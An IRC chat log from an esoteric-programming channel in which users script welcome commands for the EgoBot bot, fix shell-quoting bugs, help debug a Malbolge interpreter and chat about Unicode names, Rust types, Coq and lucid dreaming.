13:38:31 <oerjan> !addinterp welcome sh bash -c 'sh nick=$(cat); [[ -z $nick ]] || echo -n "$nick: "; echo Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/wiki/Main_Page>. (For the other kind of esoterica, try #esoteric on irc.dal.net.)'
13:38:32 <EgoBot> Interpreter welcome installed.
13:38:40 <oerjan> wtf did i bump caps lock
13:38:59 <oerjan> !welcome nearly_headless_nick
13:38:59 <EgoBot> /bin/bash: -c: line 0: syntax error near unexpected token `(' \ /bin/bash: -c: line 0: `sh nick=$(cat); [[ -z $nick ]] || echo -n "$nick: "; echo Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/wiki/Main_Page>. (For the other kind of esoterica, try #esoteric on irc.dal.net.)'
13:40:54 <EgoBot> Interpreter welcome deleted.
13:41:10 <oerjan> !addinterp welcome sh bash -c 'nick=$(cat); [[ -z $nick ]] || echo -n "$nick: "; echo Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/wiki/Main_Page>. (For the other kind of esoterica, try #esoteric on irc.dal.net.)'
13:41:10 <EgoBot> Interpreter welcome installed.
13:41:16 <oerjan> !welcome nearly_headless_nick
13:41:16 <EgoBot> /bin/bash: -c: line 0: syntax error near unexpected token `(' \ /bin/bash: -c: line 0: `nick=$(cat); [[ -z $nick ]] || echo -n "$nick: "; echo Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/wiki/Main_Page>. (For the other kind of esoterica, try #esoteric on irc.dal.net.)'
13:42:56 <EgoBot> Interpreter welcome deleted.
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13:44:08 <Melvar> Tor that matter, < and > .
13:45:58 <oerjan> !addinterp welcome sh bash -c 'nick=$(cat); [[ -z $nick ]] || echo -n "$nick: "; echo '\''Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/wiki/Main_Page>. (For the other kind of esoterica, try #esoteric on irc.dal.net.)'\'''
13:45:58 <EgoBot> Interpreter welcome installed.
13:46:05 <oerjan> !welcome nearly_headless_nick
13:46:06 <EgoBot> nearly_headless_nick: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/wiki/Main_Page>. (For the other kind of esoterica, try #esoteric on irc.dal.net.)
13:46:24 <EgoBot> Melvar : Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/wiki/Main_Page>. (For the other kind of esoterica, try #esoteric on irc.dal.net.)
13:47:06 <oerjan> strip final space, i said. but did they listen to me? NO.
13:48:28 <EgoBot> Interpreter welcome deleted.
13:48:56 <oerjan> !addinterp welcome sh bash -c 'nick=$(xargs); [[ -z $nick ]] || echo -n "$nick: "; echo '\''Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/wiki/Main_Page>. (For the other kind of esoterica, try #esoteric on irc.dal.net.)'\'''
13:48:57 <EgoBot> Interpreter welcome installed.
13:49:07 <EgoBot> Melvar: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/wiki/Main_Page>. (For the other kind of esoterica, try #esoteric on irc.dal.net.)
13:49:09 <EgoBot> a b c: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/wiki/Main_Page>. (For the other kind of esoterica, try #esoteric on irc.dal.net.)
13:49:17 <oerjan> that was simpler than the sed i was thinking of.
13:52:24 <elliott_> !addinterp welcome sh echo "$(xargs -I@ echo '@: ')Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/wiki/Main_Page>. (For the other kind of esoterica, try #esoteric on irc.dal.net.)"
13:52:25 <EgoBot> There is already an interpreter for welcome!
13:52:30 <EgoBot> Interpreter welcome deleted.
13:52:44 <elliott_> !addinterp welcome sh xargs -I@ echo -n '@: '; echo "Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/wiki/Main_Page>. (For the other kind of esoterica, try #esoteric on irc.dal.net.)"
13:52:44 <EgoBot> Interpreter welcome installed.
13:52:51 <EgoBot> Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/wiki/Main_Page>. (For the other kind of esoterica, try #esoteric on irc.dal.net.)
13:52:55 <EgoBot> a b c : Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/wiki/Main_Page>. (For the other kind of esoterica, try #esoteric on irc.dal.net.)
13:53:13 <EgoBot> Interpreter welcome deleted.
13:53:21 <elliott_> !addinterp welcome sh xargs -d' ' -I@ echo -n '@: '; echo "Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/wiki/Main_Page>. (For the other kind of esoterica, try #esoteric on irc.dal.net.)"
13:53:22 <EgoBot> Interpreter welcome installed.
13:53:28 <EgoBot> a: : b: : c: \ : Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/wiki/Main_Page>. (For the other kind of esoterica, try #esoteric on irc.dal.net.)
13:57:53 <EgoBot> Interpreter welcome deleted.
13:58:19 <elliott_> !addinterp welcome sh xargs printf "%s: "; echo "Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/wiki/Main_Page>. (For the other kind of esoterica, try #esoteric on irc.dal.net.)"
13:58:19 <EgoBot> Interpreter welcome installed.
13:58:25 <EgoBot> abc: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/wiki/Main_Page>. (For the other kind of esoterica, try #esoteric on irc.dal.net.)
13:58:26 <EgoBot> abc: def: q: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/wiki/Main_Page>. (For the other kind of esoterica, try #esoteric on irc.dal.net.)
14:00:44 <EgoBot> EgoBot is a bot for running programs in esoteric programming languages. If you'd like to add support for your language to EgoBot, check out the source via mercurial at https://codu.org/projects/egobot/hg/ . Cheers and patches (preferably hg bundles) can be sent to Richards@codu.org , PayPal donations can be sent to AKAQuinn@hotmail.com , complaints can be sent to /dev/null
14:01:16 <EgoBot> There is already an interpreter for test!
14:01:18 <EgoBot> Interpreter test2 installed.
14:01:20 <EgoBot> /tmp/input.22904: line 1: c: command not found
14:01:28 <EgoBot> Interpreter test3 installed.
14:01:30 <EgoBot> /tmp/input.22999: line 1: interps/c: No such file or directory
14:01:41 <EgoBot> Interpreter test3 deleted.
14:01:41 <EgoBot> Interpreter test2 deleted.
14:01:43 <EgoBot> /sbin:/usr/sbin:/bin:/usr/bin
14:01:49 <EgoBot> /usr/bin/find: `/': Function not implemented
14:01:55 <EgoBot> /usr/bin/find: `.': Function not implemented
14:02:01 <EgoBot> 1l \ 2l \ Makefile \ adjust \ axo \ befunge \ bf_txtgen \ bfjoust \ boof \ c-intercal \ cat \ cfunge \ clc-intercal \ dimensifuck \ egobch \ egobf \ fukyorbrane \ gcccomp \ gforth_quit \ ghc \ glass \ glypho \ kipple \ lambda \ lazyk \ linguine \ malbolge \ pbrain \ qbf \ rail \ rhotor \ sadol \ sceql \ trigger \ udage01 \ underload \ unlambda \ whirl
14:03:05 <EgoBot> \ \ Signal 18 (CONT) caught by ps (procps version 3.2.8). \ Please send bug reports to <feedback@lists.sf.net> or <albert@users.sf.net>
14:03:11 <EgoBot> \ \ Signal 18 (CONT) caught by ps (procps version 3.2.8). \ Please send bug reports to <feedback@lists.sf.net> or <albert@users.sf.net>
14:04:18 <elliott_> !addinterp tell sh xargs printf "%s: "; sed 's/.*# *//g' interps/$1
14:04:18 <EgoBot> Interpreter tell installed.
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14:04:45 <elliott_> !addinterp welcome2 tell welcome2;# Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/wiki/Main_Page>. (For the other kind of esoterica, try #esoteric on irc.dal.net.)
14:04:45 <EgoBot> Interpreter welcome2 installed.
14:04:55 <EgoBot> Interpreter welcome2 deleted.
14:05:00 <elliott_> !addinterp welcome2 sh interps/tell welcome2;# Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/wiki/Main_Page>. (For the other kind of esoterica, try #esoteric on irc.dal.net.)
14:05:00 <EgoBot> Interpreter welcome2 installed.
14:05:06 <EgoBot> /tmp/input.23597: line 1: interps/tell: No such file or directory
14:05:18 <EgoBot> /bin/ls: cannot access interps/tell: No such file or directory
14:05:25 <elliott_> ugh, I guess userinterps go elsewhere...?
14:05:30 <EgoBot> dcc \ interp \ interp.orig
14:05:32 <EgoBot> /bin/ls: cannot access lib/inter: No such file or directory
14:05:46 <EgoBot> /tmp/input.23847: line 1: interp: command not found
14:06:11 <elliott_> time to give up before oerjan +qs me
14:06:22 <elliott_> it would have been neat though.
14:09:29 <oerjan> i thought hackego's file system was readonly, or something.
14:09:36 <elliott_> well, you'd have to use addinterp
14:10:31 <EgoBot> dcc \ interp \ interp.orig
14:10:57 <EgoBot> /bin/ls: lib/interp: Function not implemented \ -rw-r--r-- 1 5000 5000 1065 Dec 17 2011 lib/interp
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14:47:54 <oerjan> !addinterp ! echo How exciting!
14:47:54 <EgoBot> Interpreter _ installed.
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15:12:30 <EgoBot> #!/bin/bash \ \ export I_CMD="$1" \ export I_ARG="$2" \ export ARG_FILE="/tmp/input.$$" \ export JAVA_ARGS="-Djava.security.manager" \ \ pola-nice() { \ mkdir -p /tmp/tmp.$$/tmp \ cp "$ARG_FILE" /tmp/tmp.$$"$ARG_FILE" \ pola-run -B -f=/lib64 -f=/etc/alternatives -f=lib -f=interps -f=/proc -f=/opt/ghc -tw /tmp /tmp/tmp.$$/tmp \ \ --prog=nice -a=-n10 \ \ -fa=slox/slox -a=25 \ \ -e
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16:06:04 <EgoBot> 59 123 1065 lib/interp
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16:30:58 <Taneb> I have a place to live next year!
16:31:08 <Bike> oh aren't WE fancy
16:31:21 <int-e> new shiny cardbox?
16:32:35 <oerjan> you have a cardbox? in my age we had to do with just a card
16:33:04 <Taneb> oerjan, the government's providing me with a cardboard box which I have to start paying off at 10% interest once I'm earning 21K a year
16:33:06 <oerjan> admittedly it was made of flintstone, not that fancy paper.
16:33:34 <int-e> oerjan: a punched card, I presume?
16:34:06 <oerjan> _and_ we had to punch it ourselves.
16:34:27 <oerjan> with our bare hands. which we'd just evolved.
16:35:06 <int-e> did they have opposable thumbs?
16:35:20 <oerjan> that's like the definition of hands, duh
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17:00:22 <fizzie> Taneb: Tilting at windmills, eh?
17:00:52 <Taneb> One could say that
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17:24:58 <FireFly> !addinterp test1 sed s/.$/&: /; s_$_hello world_
17:24:58 <EgoBot> Interpreter sed does not exist!
17:26:18 <FireFly> !addinterp test1 sh sed -e 's/.$/&: /' -e 's_$_hello world_'
17:26:18 <EgoBot> Interpreter test1 installed.
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17:29:49 <EgoBot> Interpreter test1 deleted.
17:39:22 <elliott_> FireFly: doesn't work with multiple names
17:39:41 <FireFly> Yeah, I noticed that later
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18:04:48 <Bike> attn kmc: compiling-to-javascript now in use by javascript developers http://blog.angularjs.org/2014/03/angular-20.html
18:05:23 <kmc> that kind of thing has been popular for a long time
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19:18:31 <kmc> fn get_global_ptr() -> *mut Option<~~[~[u8]]>
19:19:05 <Bike> maybe of a pointer to a pointer to a vector of pointers to u8 vectors?
19:20:18 <kmc> function returning raw pointer (which you're allowed to mutate through) to maybe a pointer to a uniquely-owned box containing a pointer to a uniquely owned heap vector of pointers to uniquely owned heap vectors of u8
19:24:56 <Bike> has someone written rustdecl explain yet
19:27:45 <kmc> ~[T] is going away anyway
19:33:52 <kmc> the HTML character entity with the longest name is ∳
19:38:12 <fizzie> The Unicode character with the longest name is U+FBF9 ARABIC LIGATURE UIGHUR KIRGHIZ YEH WITH HAMZA ABOVE WITH ALEF MAKSURA ISOLATED FORM.
19:40:02 <fizzie> Discounting the initial and final forms of said character, however, the second-longest is U+1F502 CLOCKWISE RIGHTWARDS AND LEFTWARDS OPEN CIRCLE ARROWS WITH CIRCLED ONE OVERLAY, which also contains "clockwise".
19:40:16 <kmc> you would think "counterclockwise" would be longer
19:40:40 <kmc> Bike: actually the fact that ~T points to a box in the heap is something of an impl detail subject to change
19:40:49 <kmc> the semantics of ~T and T are very close
19:40:51 <fizzie> Unicode uses the term ANTICLOCKWISE instead.
19:41:06 <fizzie> It would, of course, still be longer, if it existed.
19:41:14 -!- nisstyre has quit (Ping timeout: 246 seconds).
19:41:58 <fizzie> (Some systematic character set that is.)
19:43:09 <fizzie> (U+2233 ANTICLOCKWISE CONTOUR INTEGRAL is presumably what that HTML entity would map to.)
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19:51:22 <Melvar> “= repeat one item over”, hence no anticlockwise counterpart.
19:54:22 <fizzie> U+26D3 chAINS, U+2698 flowER, U+2693 anCHOR, U+22A9 forCES and U+22A7 moDELS are the longest Unicode character names that can occur as a combination of inventory letters in a NetHack prompt.
19:54:43 * kmc submits that for nerd pub trivia
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20:21:39 <ion> CVE-2014-0133 http://nginx.org/download/patch.2014.spdy2.txt
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21:59:52 <fizzie> http://sprunge.us/IPcW cdecl pet peeve
22:02:14 <fizzie> The cdecl lexer defines a large number of really common words (incl. "array", "as", "func", "into", "member", "of", "pointer", "ptr", "ref", "ret", "set", "to", "vector") used by its commands and the "english" syntax to result to special tokens instead of "NAME", so the parser gets all confused.
22:02:36 <fizzie> I believe some cdecls are less bad, but this one's quite widespread.
22:02:55 <olsner> I built https://gist.github.com/olsner/608575 for decoding types using the C++ compiler a while ago
22:03:42 -!- shikhout has joined.
22:03:45 <olsner> the "c++0x" stuff may need tweaks for c++11 though
22:04:34 <kmc> I like that your useful practical tool also happens to be a shell / C++ polyglot
22:05:45 <kmc> this is a good example of C++ templates doing something that neither macros nor well-behaved generics can do
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22:07:17 <Taneb> kmc, is that... is that a good thing or a bad thing
22:07:52 -!- oerjan has joined.
22:08:10 <kmc> that C++ templates can do these things?
22:10:29 <kmc> C++ exists beyond good and evil
22:13:11 <olsner> since it's just pattern matching on smaller and smaller types (structural recursion?) I think these templates are about as well-behaved as they come
22:25:42 <kmc> I guess so
22:26:16 <kmc> template specialization is ad-hoc overloading but you can do similar things in systems that are less ad-hoc
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22:55:01 <kmc> Gregor: is HackEgo coming back? :<
23:12:29 <oerjan> fungot: is Gregor coming back?
23:12:29 <fungot> oerjan: i am just as confused. you, in numbers apparently inexhaustible, were all from me at your computer you might be here too. i'll go and invite your friends, his state vsurp'd, his realme a slaughter-house, his subjects, the european council decided at its meeting on 30 april, or even this very difficult issue is discussed, it should be deleted, not merged. but new england flood of may, 1765, curwen's only child, it's anci
23:12:58 <oerjan> i take it you are uncertain about this.
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23:38:42 <Sgeo> Is it possible to write a web server in Coq?
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23:40:30 <kmc> Sgeo: you can extract coq programs to other languages after typechecking
23:40:33 <kmc> ocaml and haskell at least
23:40:51 <Sgeo> Could that be hidden as part of a build process?
23:42:00 <kmc> i presume so
23:44:12 <maurer> Sgeo: If you are looking to write a webserver in a dependently typed language, idris might be better suited (not to say you can't do it in coq if you want to)
23:44:40 <Sgeo> I'm thinking about reading Certified Programming with Dependent Types
23:44:44 <kmc> whoa it's maurer
23:44:50 <Sgeo> Also, Idris doesn't seem production-ready
23:44:56 <Sgeo> (Not that I would really use this in production)
23:45:05 <maurer> Sgeo: Coq extracted code is not really production ready either
23:45:14 <kmc> maurer: sadly one of our most interesting bots is out sick right now
23:45:48 <kmc> the one that for each command boots up a User Mode Linux instance, runs the command, and then merges filesystem changes using Mercurial
23:46:01 <kmc> but fungot will keep us company in the meantime
23:46:01 <fungot> kmc: agora alice c64 ct darwin discworld europarl ff7 fisher ic irc* jargon lovecraft nethack pa speeches ss wp youtube
23:46:14 <kmc> fungot: why did you list your ^styles just now?
23:46:14 <fungot> kmc: c has an ignore restarter, restart/ ignore do? the symbols, pairs, procedures, and so am i just being anal here or am i misunderstanding how these were the people skills of a plane
23:46:28 <kmc> fungot source: https://github.com/fis/fungot/blob/master/fungot.b98
23:46:28 <fungot> kmc: is. absorb it on my door, which was just perceptibly fnord and this yields nothing itself; it keeps being removed, the queen is a vain. yes, it's all right, it's been awhile prometheus!
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23:48:56 <Sgeo> but fungot will keep us company in the meantime
23:48:56 <fungot> Sgeo: uninterned symbols, pairs, procedures, and so am i just being anal here or am i misunderstanding how these were the people skills of a plane
23:49:04 <maurer> Sgeo: In essence, you can run coq in the same sense you can run agda
23:49:19 <maurer> There's a way to do it, but runtime behavior is not necessarily bug free
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23:56:24 <Sgeo> Isn't there some CoqWeb thing?
23:56:34 <Taneb> All software should be free as in seats.
00:16:57 <kmc> free as in nothing left to lose
00:17:32 <Taneb> kmc, help I am really nervous right now and I do not know why
00:19:10 <kmc> I don't know how I can help
00:19:45 <Taneb> I think it may because I ate some cheese really quickly
00:28:03 <Taneb> So far nothing bad has happened
00:31:15 <quintopia> Taneb: free seats are seats that aren't being used. therefore you mean that all software should not be used?
00:32:10 <Taneb> So if anyone wants to use any software, they can just find it and use it
00:32:20 <Taneb> Because nobody else is
00:33:30 <oerjan> free beer speech seats
00:34:36 <quintopia> Taneb: rather, if anyone wants to use any software, they shouldn't
00:46:46 <^v> im having trouble making a malbolge inturpreter
00:47:07 <^v> methinks i am loading the program wrong
00:47:10 <^v> what is the format
00:47:43 <^v> im doing a base conversion from "!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~" to "012"
00:48:13 <^v> then splitting it by 10 trits
00:49:16 <^v> i probably did it horribly wrong
00:50:03 <oerjan> well the input should be ASCII codes
00:50:47 <^v> so a string.byte? ._.
00:52:05 <oerjan> in particular, ! would be 33 in decimal or ...lessee... 1020 in trinary
00:53:45 -!- constant has joined.
00:54:45 <oerjan> @run showIntAtBase 3 intToDigit (ord '!') ""
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00:55:28 <^v> <pong> .mb (=<`#9]~6ZY32Vx/4Rs+0No-&Jk)"Fh}|Bcy?`=*z]Kw%oG4UUS0/@-ejc(:'8dc
00:55:29 <^v> -^v- pong, Üù``AJ¥óú¸X
00:55:50 <^v> (^v is a bot on that net, and i am pong)
00:56:08 <^v> there are probably more characters though
00:56:18 <^v> it removes invalid ones
00:56:32 <^v> but yeah, it no werk
00:56:45 <oerjan> technically i believe you should err out on invalid ones
00:57:09 <^v> well the removing part is in my respond function
00:57:29 <^v> so i dont have to filter newlines n stuff for every single function
00:58:13 <^v> this is the first time i got it to print something
00:58:27 <oerjan> i mean that the input reading should err out on invalid characters, only whitespace should be ignored
00:58:50 <^v> i might have just fcked up the instruction that changes a
00:59:15 <^v> oerjan, i do a gsub to remove invalid chars .-.
01:02:55 <^v> removed some mod 3^10 and got -^v- pong, §ç&ñFÏ‘æT
01:05:00 <oerjan> note as usual that the reference interpreter and original specification don't match each other on i/o.
01:05:09 <oerjan> in case you are working from the latter.
01:05:23 <oerjan> (the wiki has a specification based on the interpreter)
01:05:42 <^v> im working from the wiki
01:06:57 <oerjan> note one advantage to erring out on invalid characters is that you actually get a warning if your program reading is buggy...
01:07:34 <oerjan> oh and btw you cannot detect those with regexp, i think.
01:07:47 <oerjan> because they depend on the mod 94 position.
01:07:59 <^v> am i supposed to increment c after every instruction
01:08:12 <^v> even if it jumped?
01:09:49 <^v> when inturpreting assembly i dont increment eip if it was changed by jmp
01:14:34 <oerjan> yep you are, checked the c interpreter there is no special case for i.
01:15:50 <^v> -^v- pong, §ƒwwsX¶¥,?Óñ
01:15:53 <^v> this is strange
01:16:26 <^v> the repeating ww is similar to the repeating ll in hello
01:16:58 <oerjan> those are not ascii characters though.
01:17:29 <oerjan> dammit hackego is gone
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01:17:59 <fungot> 194 167 198 146 119 119 115 88 194 182 194 165 44 63 195 147 195 177
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01:18:13 <^v> aww, i like hack ego
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01:18:23 <^v> also, my client probbably turned into unicode
01:18:26 <oerjan> it has a command for calculating unicode codepoints
01:18:29 <^v> leme get an actual hex dump
01:19:12 <oerjan> my client would have turned it into unicode too, anyway
01:19:16 <oerjan> > map ord "§ƒwwsX¶¥,?Óñ"
01:19:18 <lambdabot> [167,402,119,119,115,88,182,165,44,63,211,241]
01:19:55 <^v> 0xA70x830x770x770x730x580xB60xA50x2C0x3F0xD30xF1
01:20:02 <^v> oh, im confused by the 0x
01:20:16 <oerjan> > map (chr.(+(-11)).ord) "§ƒwwsX¶¥,?Óñ"
01:20:23 <^v> 0xA7 0x83 0x77 0x77 0x73 0x58 0xB6 0xA5 0x2C 0x3F 0xD3 0xF1
01:20:32 <oerjan> that doesn't look like it helped
01:21:02 <oerjan> !malbolge (=<`#9]~6ZY32Vx/4Rs+0No-&Jk)"Fh}|Bcy?`=*z]Kw%oG4UUS0/@-ejc(:'8dc
01:21:41 <oerjan> well you are printing the right _number_ of characters, which is sort of a hint that everything used other than output is working
01:21:58 <oerjan> how are you storing trits
01:22:58 <oerjan> @run zipWith ((-)`on`ord) "Hello World!" "§ƒwwsX¶¥,?Óñ"
01:22:59 <lambdabot> [-95,-301,-11,-11,-4,-56,-95,-54,70,45,-111,-208]
01:23:34 <^v> then i use base conversion when i need to rotate them
01:23:56 <^v> though can probably use some math instead
01:24:33 <^v> also when using crz
01:25:14 <^v> this is strange /me slaps wikipedia
01:25:23 <^v> For example, crz 0001112220, 0120120120 gives 100102221.
01:25:36 <oerjan> @run zipWith ((,)`on`ord) "Hello World!" "§ƒwwsX¶¥,?Óñ"
01:25:38 <lambdabot> [(72,167),(101,402),(108,119),(108,119),(111,115),(32,88),(87,182),(111,165)...
01:26:06 <^v> yet the table says different
01:26:22 <^v> the table says 2,2 = 1
01:26:35 <^v> but the second to last digit is 2
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01:27:02 <oerjan> um are you using the wikipedia specification, i was looking at esolang. not that there should be a difference
01:27:23 <^v> the tables are same
01:27:33 <^v> just the wikipedia example is weird
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01:29:08 <oerjan> there are spurious last 0 digits in the arguments
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01:29:43 <oerjan> there's a missing digit in the answer, of course
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01:31:48 <^v> /stab wikipedia
01:32:55 <oerjan> someone misunderstood what the numbers were for https://en.wikipedia.org/w/index.php?title=Malbolge&diff=590632950&oldid=587042925
01:34:42 <oerjan> i should have noticed that edit, i watch that page
01:35:09 <^v> progress! i forgot to increment d
01:35:18 <^v> @run zipWith ((,)`on`ord) "Hello World!" "fYnnóྐྵfB!"
01:35:25 <^v> @run zipWith ((,)`on`ord) "Hello World!" "fYnnóྐྵfB!"
01:35:26 <lambdabot> lexical error in string/character literal at character '\157'
01:36:00 <oerjan> @run zipWith ((,)`on`ord) "Hello World!" "fYnn]óྐྵfB!"
01:36:01 <lambdabot> [(72,102),(101,89),(108,110),(108,110),(111,93),(32,243),(87,224),(111,190),...
01:36:13 <oerjan> ^v: you must use utf8 with lambdabot.
01:36:53 <oerjan> interesting, ! is now correct :P
01:37:39 <oerjan> @run zipWith ((-)`on`ord) "Hello World!" "fYnn]óྐྵfB!"
01:37:40 <lambdabot> [-30,12,-2,-2,18,-211,-137,-79,-71,6,34,0]
01:38:03 <oerjan> funny how you're still printing the right number of characters
01:38:36 <oerjan> ^v: are you remembering to initialize the rest of memory correctly?
01:38:50 <^v> yeah i should be doing that properly
01:39:04 <^v> ill try offseting it and seeing if i derpd
01:39:11 <Jafet> It is apparent that malbolge is not only hard to write programs for, it is also hard to write programs to.
01:39:57 <oerjan> @run zipWith ((xor)`on`ord) "Hello World!" "fYnn]óྐྵfB!"
01:39:59 <lambdabot> [46,60,2,2,50,211,183,209,203,10,38,0]
01:40:28 <oerjan> i can't see any _obvious_ connection between the right and wrong chars
01:41:54 <^v> does hello world use jump?
01:42:03 <oerjan> perhaps that program simpl... precisely what i was going to say
01:42:45 <oerjan> because if not, then as long as you are doing the right instructions, but wrongly, you would get the right number of output but completely scrambled
01:44:10 <oerjan> !malbolge (=<`#9]~6ZY32Vx/4Rs+0No-&Jk)"
01:44:29 <oerjan> !malbolge (=<`#9]~6ZY32Vx/
01:44:33 <oerjan> !malbolge (=<`#9]~6ZY3
01:45:10 <oerjan> ok that's pretty short
01:45:18 <oerjan> ^v: perhaps try that shorter program?
01:46:32 <^v> aand one of the memory addreses is somehow a string..
01:46:40 <oerjan> i don't think a malbolge program should technically be able to crash, iirc
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01:48:54 <oerjan> i recommend debugging stuff.
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01:49:40 <Jafet> Just call this a variant of malbolge and challenge people to write helloworld in it
01:51:29 <^v> okay, i just set a __newindex erroring when it tries to set anything to a string, and it diddnt error
01:51:36 <^v> the amount of impossible
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02:26:44 <^v> okay it works
02:26:49 <^v> thanks oerjan
02:27:55 <^v> ill start optimizing and post the cods
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03:02:53 <oerjan> !welcome BeingUntoDeath
03:02:54 <EgoBot> BeingUntoDeath: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/wiki/Main_Page>. (For the other kind of esoterica, try #esoteric on irc.dal.net.)
03:05:50 <BeingUntoDeath> wait... so what the hell is an esoteric programming language?
03:06:31 <kmc> weird for the sake of weird
03:06:56 <BeingUntoDeath> hmmmmm. i'm a student of esoterica and the occult. how are they related?
03:08:33 <Bike> not, except that i used to tell people their futures for money, and now i'm here
03:09:04 <kmc> i've invented a form of divination which involves clicking the random link on jerkcity
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03:10:32 <Bike> i think zzo does astrology programming but he's not here right now.
03:11:15 <Bike> anyway if kmc wasn't clear enough, esoteric programming languages are weird for the sake of things. for example, /// has a weird name, and also has only one operation, string replacement. the wiki has lots of examples.
03:11:34 <Bike> usually the weirdness is something CS-theoretical rather than being devoted to Imhotep
03:12:09 <oerjan> Bike: that is incorrect, it has _two_ operations.
03:12:17 <oerjan> (the other is printing)
03:12:20 <Bike> the other is your mother
03:13:26 <oerjan> i think you are confusing me with agathe heterodyne hth
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03:17:08 <Sgeo> Ugh I want cough drops but as candy but that's probably bad
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03:19:00 <Bike> my precognitive abilities are as of yet too weak to stave off connection failures
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03:35:55 <^v> o/ i finished it somewhat http://hastebin.com/dekarabime.lua
03:38:26 <kmc> https://github.com/mitsuhiko/jinja2/blob/27ffd01f95cad7740497a32b22e4ef9d29762162/jinja2/debug.py#L267
03:38:30 <kmc> def _init_ugly_crap():
03:38:53 <kmc> it's not a real party until you're calling the CPython API through ctypes
03:39:15 <^v> me no likey python
03:40:05 <Bike> scary code there
03:40:45 <^v> malbolge is scarier
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03:45:09 <Bike> by the by, if i make an amusing esothing that isn't really a language, where should i dump that
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03:49:18 <oerjan> i was wondering the same thing back when i looked at roman numeral look-and-say
03:49:38 <oerjan> never wrote it up properly, anyway
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04:00:37 <Sgeo> Blah Microsoft not documenting internally used files
04:01:00 <Sgeo> Which have a strong probability of harming other organizations if incorrect
04:01:32 <maurer> Sgeo: That is... super vague
04:01:55 <Bike> yeah, actually writing it up and constructing it is the main obstacle. especially since i have actual obligations for some reason
04:01:57 <Sgeo> IE compatibility list
04:02:26 <Bike> also it /might/ be one of those things where in a paper you'd relegate it to an appendix and it'd be ten pages of numbers, i don't know yet
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04:04:34 <Sgeo> http://www.sleepphones.com/mp3/free-mp3-downloads I assume the binaural stuff is BS?
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04:05:13 <Sgeo> Still nice music
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04:08:43 <Sgeo> My dad used to believe in that stuff
04:09:10 <Sgeo> And then I talked to teachers at school about it, and then my dad said I shouldn't do that. (The teachers had no reaction that I remember to the idea)
04:18:29 <^v> maldoge http://puu.sh/7AWIf.png
04:19:18 <Bike> binaural beats are pretty crap yeah.
04:19:32 <Bike> more interesting than most of that ilk of stuff, though.
04:20:12 <^v> that has to be the worst looking image ive made in months
04:20:21 <^v> but its funeh
04:21:12 <BeingUntoDeath> or at least, it seemed to be a major changing factor in some of my behaviors/how i cognized my abilities.
04:21:47 <BeingUntoDeath> either way, i'm a huge fan of binaural beats, isochronic tones, brainwave entrainment in general.
04:22:12 <Sgeo> My dad never thought of it as entertainment, more of a sleep/concentration aid
04:22:23 <BeingUntoDeath> i have a light/sound machine that flashes lights and that took it to another level, at a time when I'd already have claimed binaural beats to have changed my life.
04:22:54 <Bike> Interesting science fact: One of the founders of endocrinology (the studies of hormones, etc.) was popular known for objecting fluid from dog testicles into his bloodstream so as to regain sexual virility (he was like eighty at the time)
04:23:01 <Bike> injecting, not objecting
04:23:17 <Sgeo> There's a pair of eye masks that flash lights into your eyes to try to help lucid dreaming
04:23:22 <^v> sounds epilepsy inducing
04:23:28 <Sgeo> I assume that that actually works, if you can train yourself to recognize the flashing lights
04:23:29 <Bike> i think Being is talking about a dreamachine.
04:23:55 <Sgeo> I love lucid dreaming, haven't had a lucid dream for a while though :(
04:24:12 <Bike> you odn't need equipment for it, man, just count your fingers and check clocks and such
04:24:31 <kmc> http://www.ploscompbiol.org/article/info%3Adoi%2F10.1371%2Fjournal.pcbi.1002158
04:24:39 <Bike> that was at sgeo, i'm sure you have other stuff goin on
04:24:42 <kmc> http://treehovse.blogspot.com/2011/09/visor.html
04:24:47 <BeingUntoDeath> i've had one 90% successful lucid dream, lost it completely.
04:24:48 <Sgeo> There's a test that I tried in a dream once that failed
04:24:56 <Sgeo> I think trying to breath with my throat closed.
04:25:10 <Sgeo> Other tests worked better, but I think I was less likely to try those other tests regularly
04:25:25 <Bike> just do them in real life a lot.
04:25:39 <BeingUntoDeath> if i ever actually "thought" about using them during dreams at all.
04:26:22 <kmc> http://wealoneonearth.blogspot.com/search/label/goggles
04:26:33 <Bike> "One hypothesis is that the flickering interacts with natural ongoing oscillations in visual cortex, exciting a specific frequency of brain waves. This increases the activity in visual cortex. Activity can increase enough to overload the circuitry the brain uses for interpreting what it sees, causing you to see things that aren’t really there." man i have no idea how these people think brains work but damn if it doesn't sound exciting
04:27:06 <Bike> oh shit this paper has bifurcation theory :o
04:27:07 <BeingUntoDeath> that's right. at least that's similar to how i conceptualize it, and i tihnk i'm right.
04:27:10 <kmc> drugs are also pretty cool & fun
04:27:35 <BeingUntoDeath> i could take about 1-3 seconds of my light/sound machine on dmt.
